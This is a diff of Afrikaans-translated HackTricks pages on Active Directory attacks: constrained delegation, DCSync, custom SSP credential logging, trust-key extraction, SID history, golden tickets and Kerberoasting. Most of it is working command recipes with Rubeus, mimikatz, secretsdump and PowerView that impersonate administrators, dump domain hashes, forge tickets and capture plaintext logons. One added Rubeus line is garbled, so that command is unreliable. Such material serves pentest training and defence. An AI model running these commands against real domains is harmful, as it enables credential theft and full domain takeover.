Die konfigurasie vir **cross-forest enrollment** is relatief eenvoudig gemaak. Die **root CA sertifikaat** van die hulpbronwoud word deur administrateurs **gepubliseer na die rekeningwoude**, en die **enterprise CA** sertifikate van die hulpbronwoud word **bygevoeg tot die `NTAuthCertificates` en AIA houers in elke rekeningwoud**. Om dit te verhelder, bied hierdie skikking die **CA in die hulpbronwoud volledige beheer** oor al die ander woude waarvoor dit PKI bestuur. Indien hierdie CA **deur aanvallers gekompromitteer word**, kan sertifikate vir alle gebruikers in beide die hulpbron- en rekeningwoude **deur hulle vervals word**, wat die sekuriteitsgrens van die woud breek.
Die konfigurasie vir **cross-forest enrollment** is relatief eenvoudig gemaak. Die **root CA sertifikaat** van die hulpbronwoud word deur administrateurs **gepubliseer na die rekeningwoude**, en die **enterprise CA** sertifikate van die hulpbronwoud word **by die `NTAuthCertificates` en AIA houers in elke rekeningwoud gevoeg**. Om te verduidelik, hierdie reëling verleen die **CA in die hulpbronwoud volledige beheer** oor al die ander woude waarvoor dit PKI bestuur. Indien hierdie CA **deur aanvallers gekompromitteer word**, kan sertifikate vir alle gebruikers in beide die hulpbron- en rekeningwoude **deur hulle vervals word**, wat die sekuriteitsgrens van die woud breek.
### Registrasie Privileges Gegee aan Buitelandse Principals
In multi-woud omgewings is versigtigheid nodig rakende Enterprise CA's wat **sertifikaat sjablone publiseer** wat **Geverifieerde Gebruikers of buitelandse principals** (gebruikers/groepe buite die woud waartoe die Enterprise CA behoort) **registrasie en redigeringsregte** toelaat.\
Na verifikasie oor 'n vertroue, word die **Geverifieerde Gebruikers SID** aan die gebruiker se token deur AD bygevoeg. Dus, indien 'n domein 'n Enterprise CA het met 'n sjabloon wat **Geverifieerde Gebruikers registrasiegeregte toelaat**, kan 'n sjabloon potensieel **deur 'n gebruiker van 'n ander woud geregistreer word**. Net so, indien **registrasiegeregte eksplisiet aan 'n buitelandse principal deur 'n sjabloon gegee word**, word 'n **cross-forest access-control verhouding aldus geskep**, wat 'n principal van een woud in staat stel om **in 'n sjabloon van 'n ander woud te registreer**.
Na verifikasie oor 'n vertroue, word die **Geverifieerde Gebruikers SID** aan die gebruiker se token deur AD gevoeg. Dus, indien 'n domein 'n Enterprise CA het met 'n sjabloon wat **Geverifieerde Gebruikers registrasiegeregte toelaat**, kan 'n sjabloon potensieel **deur 'n gebruiker van 'n ander woud geregistreer word**. Net so, indien **registrasiegeregte eksplisiet aan 'n buitelandse principal deur 'n sjabloon gegee word**, word 'n **cross-forest toegang-beheer verhouding aldus geskep**, wat 'n principal van een woud in staat stel om **in 'n sjabloon van 'n ander woud te registreer**.
Albei scenario's lei tot 'n **toename in die aanvaloppervlak** van een woud na 'n ander. Die instellings van die sertifikaat sjabloon kan deur 'n aanvaller uitgebuit word om addisionele privileges in 'n buitelandse domein te verkry.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Beperkte Afvaardiging
Deur dit kan 'n Domein administrateur **toelaat** dat 'n rekenaar **'n gebruiker of rekenaar naboots** teen 'n **diens** van 'n masjien.
Deur dit kan 'n Domein administrateur **toelaat** dat 'n rekenaar **'n gebruiker of rekenaar naboots** teen enige **diens** van 'n masjien.
- **Diens vir Gebruiker om self (**_**S4U2self**_**):** As 'n **diensrekening** 'n _userAccountControl_ waarde het wat [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) bevat, kan dit 'n TGS vir homself (die diens) verkry namens enige ander gebruiker.
- **Diens vir Gebruiker om Proxy(**_**S4U2proxy**_**):** 'n **diensrekening** kan 'n TGS verkry namens enige gebruiker na die diens wat in **msDS-AllowedToDelegateTo** gestel is. Om dit te doen, benodig dit eers 'n TGS van daardie gebruiker na homself, maar dit kan S4U2self gebruik om daardie TGS te verkry voordat dit die ander een aanvra.
- **Diens vir Gebruiker om self (_S4U2self_):** As 'n **diensrekening** 'n _userAccountControl_ waarde het wat [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) bevat, kan dit 'n TGS vir homself (die diens) verkry namens enige ander gebruiker.
- **Diens vir Gebruiker om Proxy (_S4U2proxy_):** 'n **Diensrekening** kan 'n TGS verkry namens enige gebruiker na die diens wat in **msDS-AllowedToDelegateTo** gestel is. Om dit te doen, benodig dit eers 'n TGS van daardie gebruiker na homself, maar dit kan S4U2self gebruik om daardie TGS te verkry voordat dit die ander een aanvra.
**Let wel**: As 'n gebruiker gemerk is as _Rekening is sensitief en kan nie afgevaardig word_ in AD, sal jy **nie in staat wees om** hulle te naboots nie.
**Nota**: As 'n gebruiker gemerk is as _Rekening is sensitief en kan nie gedelegeer word_ in AD, sal jy **nie in staat wees om** hulle te naboots nie.
Dit beteken dat as jy die **hash van die diens** compromitteer, jy **gebruikers kan naboots** en **toegang** namens hulle tot die **diens geconfigureer** (moontlike **privesc**).
Dit beteken dat as jy die **hash van die diens** kompromitteer, jy **gebruikers kan naboots** en **toegang** namens hulle tot enige **diens** oor die aangeduide masjiene kan verkry (moontlike **privesc**).
Boonop, jy **sal nie net toegang hê tot die diens wat die gebruiker kan naboots nie, maar ook tot enige diens** omdat die SPN (die diensnaam wat aangevra word) nie nagegaan word nie, net voorregte. Daarom, as jy toegang het tot **CIFS diens** kan jy ook toegang hê tot **HOST diens** met die `/altservice` vlag in Rubeus.
Boonop, jy **sal nie net toegang hê tot die diens wat die gebruiker kan naboots nie, maar ook tot enige diens** omdat die SPN (die diensnaam wat aangevra word) nie nagegaan word nie (in die kaartjie is hierdie deel nie versleuteld/onderteken nie). Daarom, as jy toegang het tot **CIFS diens** kan jy ook toegang hê tot **HOST diens** met die `/altservice` vlag in Rubeus byvoorbeeld.
Ook, **LDAP diens toegang op DC**, is wat nodig is om 'n **DCSync** te benut.
```bash:Enumerate
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
```bash:Quick Way
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
```
- Stap 1: **Kry TGT van die toegelate diens**
```bash:Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
> [!WARNING]
> Daar is **ander maniere om 'n TGT-kaartjie** of die **RC4** of **AES256** te verkry sonder om SYSTEM op die rekenaar te wees, soos die Printer Bug en onbeperkte delegasie, NTLM relaying en Active Directory Certificate Service misbruik.
> Daar is **ander maniere om 'n TGT-kaartjie te verkry** of die **RC4** of **AES256** sonder om SYSTEM op die rekenaar te wees, soos die Printer Bug en onbeperkte delegasie, NTLM relaying en misbruik van die Active Directory Certificate Service.
>
> **Net deur daardie TGT-kaartjie (of gehasht) te hê, kan jy hierdie aanval uitvoer sonder om die hele rekenaar te kompromitteer.**
- Step2: **Kry TGS vir die diens wat die gebruiker naboots**
```bash:Using Rubeus
#Obtain a TGS of the Administrator user to self
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
#Obtain service TGS impersonating Administrator (CIFS)
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)
@ -74,6 +81,6 @@ tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.mo
#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
```
[**Meer inligting in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
[**Meer inligting op ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,13 +5,13 @@
### Custom SSP
[Leer wat 'n SSP (Security Support Provider) hier is.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Jy kan jou **eie SSP** skep om **te vang** in **duidelike teks** die **akkrediteerings** wat gebruik word om toegang tot die masjien te verkry.
Jy kan jou **eie SSP** skep om **in te vang** in **duidelike teks** die **akkrediteerings** wat gebruik word om toegang tot die masjien te verkry.
#### Mimilib
Jy kan die `mimilib.dll` binêre gebruik wat deur Mimikatz verskaf word. **Dit sal alle akkrediteerings in duidelike teks in 'n lêer log.**\
Jy kan die `mimilib.dll` binêre gebruik wat deur Mimikatz verskaf word. **Dit sal al die akkrediteerings in duidelike teks in 'n lêer log.**\
Plaas die dll in `C:\Windows\System32\`\
Kry 'n lys van bestaande LSA Veiligheid Pakkette:
Kry 'n lys van bestaande LSA Security Packages:
```bash:attacker@target
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
Voeg `mimilib.dll` by die Veiligheidsondersteuningsverskafferlys (Veiligheidspakkette):
```powershell
```bash
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
En na 'n herlaai kan alle geloofsbriewe in duidelike teks gevind word in `C:\Windows\System32\kiwissp.log`
@ -27,7 +27,7 @@ En na 'n herlaai kan alle geloofsbriewe in duidelike teks gevind word in `C:\Win
#### In geheue
Jy kan dit ook direk in geheue inspuit met Mimikatz (let op dat dit 'n bietjie onstabiel/nie werkend kan wees):
```powershell
```bash
privilege::debug
misc::memssp
```

View File

@ -10,20 +10,20 @@ Die **DCSync** toestemming impliseer dat jy hierdie toestemmings oor die domein
- Die **DCSync-aanval simuleer die gedrag van 'n Domeinbeheerder en vra ander Domeinbeheerders om inligting te repliseer** met behulp van die Directory Replication Service Remote Protocol (MS-DRSR). Omdat MS-DRSR 'n geldige en noodsaaklike funksie van Active Directory is, kan dit nie afgeskakel of gedeaktiveer word nie.
- Standaard het slegs **Domein Administrators, Enterprise Administrators, Administrators, en Domeinbeheerders** groepe die vereiste voorregte.
- As enige rekening wagwoorde met omkeerbare kodering gestoor word, is daar 'n opsie beskikbaar in Mimikatz om die wagwoord in duidelike teks terug te gee.
- As enige rekeningwagwoorde met omkeerbare kodering gestoor word, is daar 'n opsie beskikbaar in Mimikatz om die wagwoord in duidelike teks terug te gee.
### Enumeration
Kontroleer wie hierdie toestemmings het met `powerview`:
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Exploit Plaaslik
```powershell
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Exploit Afstandelik
```powershell
### Exploit Afgeleë
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
@ -35,26 +35,26 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
- een met die **Kerberos sleutels**
- een met duidelike wagwoorde van die NTDS vir enige rekeninge wat met [**omkeerbare versleuteling**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) geaktiveer is. Jy kan gebruikers met omkeerbare versleuteling kry met
```powershell
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Volharding
As jy 'n domein admin is, kan jy hierdie toestemmings aan enige gebruiker toeken met die hulp van `powerview`:
```powershell
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Dan kan jy **kontroleer of die gebruiker korrek toegeken is** aan die 3 voorregte deur daarna te soek in die uitvoer van (jy behoort die name van die voorregte binne die "ObjectType" veld te kan sien):
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Versagting
- Sekuriteit Gebeurtenis ID 4662 (Auditsbeleid vir objek moet geaktiveer wees) 'n Operasie is op 'n objek uitgevoer
- Sekuriteit Gebeurtenis ID 5136 (Auditsbeleid vir objek moet geaktiveer wees) 'n Gidsdiens objek is gewysig
- Sekuriteit Gebeurtenis ID 4670 (Auditsbeleid vir objek moet geaktiveer wees) Toestemmings op 'n objek is verander
- AD ACL Scanner - Skep en vergelyk skep verslae van ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
- Sekuriteitsgebeurtenis ID 4662 (Auditsbeleid vir objek moet geaktiveer wees) 'n Operasie is op 'n objek uitgevoer
- Sekuriteitsgebeurtenis ID 5136 (Auditsbeleid vir objek moet geaktiveer wees) 'n Gidsdiensobjek is gewysig
- Sekuriteitsgebeurtenis ID 4670 (Auditsbeleid vir objek moet geaktiveer wees) Toestemmings op 'n objek is verander
- AD ACL Scanner - Skep en vergelyk skepverslae van ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## Verwysings

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
In hierdie scenario **jou domein** is **vertrou** op sommige **privileges** aan 'n hoof van **verskillende domeine**.
In hierdie scenario **jou domein** is **vertrou** op sommige **voorregte** aan 'n hoof van 'n **verskillende domeine**.
## Enumerasie
## Opname
### Uitgaande Vertroue
```powershell
```bash
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
@ -33,14 +33,14 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
'n Sekuriteitskwesbaarheid bestaan wanneer 'n vertrouensverhouding tussen twee domeine gevestig word, hier geïdentifiseer as domein **A** en domein **B**, waar domein **B** sy vertroue na domein **A** uitbrei. In hierdie opstelling word 'n spesiale rekening in domein **A** geskep vir domein **B**, wat 'n belangrike rol speel in die verifikasieproses tussen die twee domeine. Hierdie rekening, geassosieer met domein **B**, word gebruik om kaartjies te enkripteer vir toegang tot dienste oor die domeine.
Die kritieke aspek om hier te verstaan, is dat die wagwoord en hash van hierdie spesiale rekening uit 'n Domeinbeheerder in domein **A** onttrek kan word met behulp van 'n opdraglyn hulpmiddel. Die opdrag om hierdie aksie uit te voer is:
```powershell
```bash
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
Hierdie ekstraksie is moontlik omdat die rekening, geïdentifiseer met 'n **$** na sy naam, aktief is en behoort aan die "Domain Users" groep van domein **A**, wat die regte wat met hierdie groep geassosieer word, erf. Dit stel individue in staat om teen domein **A** te autentiseer met die akkurate van hierdie rekening.
Hierdie ekstraksie is moontlik omdat die rekening, geïdentifiseer met 'n **$** na sy naam, aktief is en behoort tot die "Domain Users" groep van domein **A**, wat die regte wat met hierdie groep geassosieer word, erf. Dit stel individue in staat om teen domein **A** te autentiseer met die kredensiale van hierdie rekening.
**Waarskuwing:** Dit is haalbaar om hierdie situasie te benut om 'n voet aan die grond in domein **A** te verkry as 'n gebruiker, alhoewel met beperkte regte. Hierdie toegang is egter voldoende om enumerasie op domein **A** uit te voer.
In 'n scenario waar `ext.local` die vertrouende domein is en `root.local` die vertroude domein is, sal 'n gebruikersrekening genaamd `EXT$` binne `root.local` geskep word. Deur spesifieke gereedskap is dit moontlik om die Kerberos vertrouingssleutels te dump, wat die akkurate van `EXT$` in `root.local` onthul. Die opdrag om dit te bereik is:
In 'n scenario waar `ext.local` die vertrouende domein is en `root.local` die vertroude domein is, sal 'n gebruikersrekening met die naam `EXT$` binne `root.local` geskep word. Deur spesifieke gereedskap is dit moontlik om die Kerberos vertrouingssleutels te dump, wat die kredensiale van `EXT$` in `root.local` onthul. Die opdrag om dit te bereik is:
```bash
lsadump::trust /patch
```
@ -48,21 +48,21 @@ Hierdie kan gebruik word om die onttrokken RC4-sleutel te gebruik om as `root.lo
```bash
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
```
Hierdie autentikasie stap maak die moontlikheid oop om dienste binne `root.local` te enumerate en selfs te benut, soos om 'n Kerberoast-aanval uit te voer om diensrekeningakkrediteer te onttrek met:
Hierdie verifikasiefase maak dit moontlik om dienste binne `root.local` te tel en selfs te benut, soos om 'n Kerberoast-aanval uit te voer om diensrekening geloofsbriewe te onttrek met:
```bash
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
```
### Versameling van duidelike teks vertrouingswagwoord
### Versameling van duidelike teks vertrou password
In die vorige vloei is die vertrouingshash gebruik in plaas van die **duidelike teks wagwoord** (wat ook **deur mimikatz gedump** is).
In die vorige vloei is die vertrou hash gebruik in plaas van die **duidelike teks wagwoord** (wat ook **deur mimikatz gedump is**).
Die duidelike teks wagwoord kan verkry word deur die \[ CLEAR ] uitvoer van mimikatz van hexadecimaal te omskakel en null bytes \x00 te verwyder:
![](<../../images/image (938).png>)
Soms, wanneer 'n vertrouingsverhouding geskep word, moet 'n wagwoord deur die gebruiker vir die vertroue ingetik word. In hierdie demonstrasie is die sleutel die oorspronklike vertrouingswagwoord en dus menslik leesbaar. Soos die sleutel siklusse (30 dae), sal die duidelike teks nie menslik leesbaar wees nie, maar tegnies steeds bruikbaar.
Soms, wanneer 'n vertrou verhouding geskep word, moet 'n wagwoord deur die gebruiker vir die vertrou ingetik word. In hierdie demonstrasie is die sleutel die oorspronklike vertrou wagwoord en dus menslik leesbaar. Soos die sleutel siklusse (30 dae), sal die duidelike teks nie menslik leesbaar wees nie, maar tegnies steeds bruikbaar.
Die duidelike teks wagwoord kan gebruik word om gereelde outentisering as die vertrouingsrekening uit te voer, 'n alternatief om 'n TGT aan te vra met die Kerberos geheime sleutel van die vertrouingsrekening. Hier, om root.local van ext.local te vra vir lede van Domain Admins:
Die duidelike teks wagwoord kan gebruik word om gereelde outentisering as die vertrou rekening uit te voer, 'n alternatief om 'n TGT aan te vra met die Kerberos geheime sleutel van die vertrou rekening. Hier, om root.local van ext.local te ondervra vir lede van Domain Admins:
![](<../../images/image (792).png>)

View File

@ -1,13 +1,13 @@
# Eksterne Woud-domein - Eenrigting (Inkomend) of bidireksioneel
# Eksterne Bosdomein - Eenrigting (Inkomend) of bidireksioneel
{{#include ../../banners/hacktricks-training.md}}
In hierdie scenario vertrou 'n eksterne domein jou (of albei vertrou mekaar), sodat jy 'n soort toegang daaroor kan verkry.
## Opname
## Enumerasie
Eerstens moet jy die **vertroue** **opneem**:
```powershell
Eerstens moet jy die **vertroue** **enumerate**:
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -60,10 +60,10 @@ In die vorige opsomming is gevind dat die gebruiker **`crossuser`** binne die **
## Begin Toegang
As jy **nie** enige **spesiale** toegang van jou gebruiker in die ander domein kon vind nie, kan jy steeds teruggaan na die AD Metodologie en probeer om te **privesc vanaf 'n nie-bevoorregte gebruiker** (goed soos kerberoasting byvoorbeeld):
As jy **nie** enige **spesiale** toegang van jou gebruiker in die ander domein kon vind nie, kan jy steeds teruggaan na die AD Metodologie en probeer om **privesc van 'n onprivilegieerde gebruiker** te doen (goed soos kerberoasting byvoorbeeld):
Jy kan **Powerview funksies** gebruik om die **ander domein** te **opsom** met die `-Domain` param soos in:
```powershell
```bash
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
{{#ref}}
@ -75,23 +75,23 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
### Aanmelding
Deur 'n gewone metode te gebruik met die geloofsbriewe van die gebruikers wat toegang het tot die eksterne domein, behoort jy toegang te hê tot:
```powershell
```bash
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID Geskiedenis Misbruik
Jy kan ook [**SID Geskiedenis**](sid-history-injection.md) oor 'n woud vertroue misbruik.
As 'n gebruiker **van een woud na 'n ander** gemigreer word en **SID Filtrering nie geaktiveer is nie**, word dit moontlik om **'n SID van die ander woud** by te voeg, en hierdie **SID** sal **bygevoeg** word tot die **gebruiker se token** wanneer hulle **oor die vertroue** autentiseer.
As 'n gebruiker **van een woud na 'n ander** gemigreer word en **SID Filtrering nie geaktiveer is nie**, word dit moontlik om **'n SID van die ander woud** by te voeg, en hierdie **SID** sal by die **gebruiker se token** gevoeg word wanneer hulle **oor die vertroue** autentiseer.
> [!WARNING]
> Ter herinnering, jy kan die ondertekeningssleutel kry met
>
> ```powershell
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
> ```
Jy kan **onderteken met** die **vertroude** sleutel 'n **TGT wat die gebruiker van die huidige domein naboots**.
Jy kan **onderteken met** die **vertroude** sleutel 'n **TGT wat die** gebruiker van die huidige domein **naboots**.
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

View File

@ -6,7 +6,7 @@
'n **Golden Ticket** aanval bestaan uit die **skepping van 'n legitieme Ticket Granting Ticket (TGT) wat enige gebruiker naboots** deur die gebruik van die **NTLM-hash van die Active Directory (AD) krbtgt rekening**. Hierdie tegniek is veral voordelig omdat dit **toegang tot enige diens of masjien** binne die domein as die nabootste gebruiker moontlik maak. Dit is belangrik om te onthou dat die **krbtgt rekening se akteer nooit outomaties opgedateer word**.
Om die **NTLM-hash** van die krbtgt rekening te **verkry**, kan verskeie metodes gebruik word. Dit kan onttrek word uit die **Local Security Authority Subsystem Service (LSASS) proses** of die **NT Directory Services (NTDS.dit) lêer** wat op enige Domeinbeheerder (DC) binne die domein geleë is. Verder is **die uitvoering van 'n DCsync aanval** 'n ander strategie om hierdie NTLM-hash te verkry, wat uitgevoer kan word met behulp van gereedskap soos die **lsadump::dcsync module** in Mimikatz of die **secretsdump.py skrip** deur Impacket. Dit is belangrik om te beklemtoon dat om hierdie operasies uit te voer, **domein admin regte of 'n soortgelyke vlak van toegang gewoonlik vereis word**.
Om die **NTLM-hash** van die krbtgt rekening te **verkry**, kan verskeie metodes gebruik word. Dit kan onttrek word uit die **Local Security Authority Subsystem Service (LSASS) proses** of die **NT Directory Services (NTDS.dit) lêer** wat op enige Domeinbeheerder (DC) binne die domein geleë is. Verder is **die uitvoering van 'n DCsync aanval** 'n ander strategie om hierdie NTLM-hash te verkry, wat uitgevoer kan word met behulp van gereedskap soos die **lsadump::dcsync module** in Mimikatz of die **secretsdump.py script** deur Impacket. Dit is belangrik om te beklemtoon dat om hierdie operasies uit te voer, **domein admin regte of 'n soortgelyke vlak van toegang gewoonlik vereis word**.
Alhoewel die NTLM-hash as 'n lewensvatbare metode vir hierdie doel dien, word dit **sterk aanbeveel** om **kaartjies te vervals met die Advanced Encryption Standard (AES) Kerberos sleutels (AES128 en AES256)** vir operasionele sekuriteitsredes.
```bash:From Linux
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
```bash:From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
### Om algemene opsporings te omseil
Die mees algemene maniere om 'n goue kaart te ontdek, is deur **Kerberos-verkeer** op die draad te inspekteer. Standaard **teken Mimikatz die TGT vir 10 jaar**, wat as anomaal sal uitstaan in daaropvolgende TGS-versoeke wat daarmee gemaak word.
Die mees algemene maniere om 'n goue kaart op te spoor, is deur **Kerberos-verkeer** op die draad te inspekteer. Standaard **teken Mimikatz die TGT vir 10 jaar**, wat as anomaal sal uitstaan in daaropvolgende TGS-versoeke wat daarmee gemaak word.
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
@ -38,7 +44,7 @@ Get-DomainPolicy | select -expand KerberosPolicy
```
Ongelukkig word die TGT se leeftyd nie in 4769's gelog nie, so jy sal hierdie inligting nie in die Windows gebeurtenislogs vind nie. Wat jy egter kan korreleer, is **om 4769's te sien sonder 'n vorige 4768**. Dit is **nie moontlik om 'n TGS aan te vra sonder 'n TGT nie**, en as daar geen rekord van 'n TGT wat uitgereik is nie, kan ons aflei dat dit offline vervals is.
Om hierdie **deteksie te omseil**, kyk na die diamond tickets:
Om **hierdie opsporing te omseil**, kyk na die diamond tickets:
{{#ref}}
diamond-ticket.md

View File

@ -4,147 +4,169 @@
## Kerberoast
Kerberoasting fokus op die verkryging van **TGS tickets**, spesifiek dié wat verband hou met dienste wat onder **gebruikersrekeninge** in **Active Directory (AD)** werk, met uitsluiting van **rekeninge van rekenaars**. Die kodering van hierdie tickets gebruik sleutels wat afkomstig is van **gebruikerswagwoorde**, wat die moontlikheid van **offline geloofsbrief kraking** toelaat. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë **"ServicePrincipalName"** eienskap.
Kerberoasting fokus op die verkryging van **TGS tickets**, spesifiek dié wat verband hou met dienste wat onder **gebruikersrekeninge** in **Active Directory (AD)** werk, met uitsluiting van **rekeninge van rekenaars**. Die kodering van hierdie tickets gebruik sleutels wat afkomstig is van **gebruikerswagte**, wat die moontlikheid van **offline geloofsbrief kraking** toelaat. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë **"ServicePrincipalName"** eienskap.
Vir die uitvoering van **Kerberoasting** is 'n domeinrekening wat in staat is om **TGS tickets** aan te vra, noodsaaklik; egter, hierdie proses vereis nie **spesiale voorregte** nie, wat dit toeganklik maak vir enigiemand met **geldige domein geloofsbriewe**.
### Sleutelpunte:
- **Kerberoasting** teiken **TGS tickets** vir **gebruikersrekening dienste** binne **AD**.
- Tickets wat met sleutels van **gebruikerswagwoorde** gekodeer is, kan **offline gekraak** word.
- Tickets wat met sleutels van **gebruikerswagte** gekodeer is, kan **offline gekraak** word.
- 'n Diens word geïdentifiseer deur 'n **ServicePrincipalName** wat nie null is nie.
- **Geen spesiale voorregte** is nodig nie, net **geldige domein geloofsbriewe**.
### **Aanval**
> [!WARNING]
> **Kerberoasting gereedskap** vra tipies **`RC4 kodering`** aan wanneer die aanval uitgevoer word en TGS-REQ versoeke geïnisieer word. Dit is omdat **RC4 is** [**swakker**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) en makliker is om offline te kraak met gereedskap soos Hashcat as ander kodering algoritmes soos AES-128 en AES-256.\
> RC4 (tipe 23) hashes begin met **`$krb5tgs$23$*`** terwyl AES-256 (tipe 18) begin met **`$krb5tgs$18$*`**.`
